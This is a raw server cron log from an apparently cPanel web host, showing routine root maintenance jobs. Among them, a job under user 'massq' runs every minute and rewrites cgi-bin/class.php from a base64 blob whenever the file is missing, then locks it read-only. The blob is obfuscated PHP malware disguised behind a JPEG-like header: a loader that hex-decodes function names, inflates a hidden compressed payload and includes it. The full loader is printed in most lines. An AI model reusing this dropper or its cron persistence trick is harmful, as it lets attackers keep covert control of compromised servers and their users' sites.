Sep  4 23:39:01 server CROND[25360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:40:01 server CROND[25833]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 23:40:01 server CROND[25837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:40:01 server CROND[25846]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 23:40:01 server CROND[25842]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 23:40:01 server CROND[25843]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 23:40:01 server CROND[25841]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 23:40:01 server CROND[25844]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:40:01 server CROND[25845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:41:01 server CROND[26708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:41:01 server CROND[26709]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:41:01 server CROND[26710]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:42:01 server CROND[27091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:42:01 server CROND[27092]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 23:42:01 server CROND[27094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:42:01 server CROND[27093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:43:01 server CROND[27478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:43:01 server CROND[27479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:43:01 server CROND[27477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:44:01 server CROND[27851]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:44:01 server CROND[27852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:44:01 server CROND[27853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:45:01 server CROND[28259]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:45:01 server CROND[28260]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 23:45:01 server CROND[28262]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 23:45:01 server CROND[28263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:45:01 server CROND[28264]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 23:45:01 server CROND[28266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:45:01 server CROND[28265]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 23:46:01 server CROND[29183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:46:01 server CROND[29184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:46:01 server CROND[29185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:47:01 server CROND[29566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:47:01 server CROND[29567]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:47:01 server CROND[29568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:48:01 server CROND[29961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:48:01 server CROND[29962]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:48:01 server CROND[29963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:49:01 server CROND[30342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:49:01 server CROND[30344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:49:01 server CROND[30343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:50:01 server CROND[30744]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 23:50:01 server CROND[30745]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 23:50:01 server CROND[30753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:50:01 server CROND[30752]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 23:50:01 server CROND[30767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:50:01 server CROND[30769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 23:50:01 server CROND[30771]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 23:50:01 server CROND[30758]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 23:50:01 server CROND[30766]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
